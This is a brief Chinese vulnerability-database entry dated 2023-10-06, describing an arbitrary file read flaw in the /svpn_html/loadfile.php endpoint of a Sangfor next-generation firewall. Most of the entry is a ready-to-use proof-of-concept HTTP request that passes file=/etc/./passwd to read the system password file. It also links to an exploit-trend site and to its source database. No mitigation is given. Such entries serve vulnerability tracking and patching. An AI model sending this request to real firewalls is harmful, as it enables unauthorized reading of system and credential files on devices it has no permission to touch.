深信服下一代防火墙 /svpn_html/loadfile.php 任意文件读取漏洞

2023-10-06 下一代防火墙 PoC Public

Description

深信服下一代防火墙某历史版本存在任意文件读取漏洞

PoC

GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Y-Forwarded-For: [REDACTED]

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/eed956ae-68f9-4e24-a79f-94bad31f46f4

Related Vulnerabilities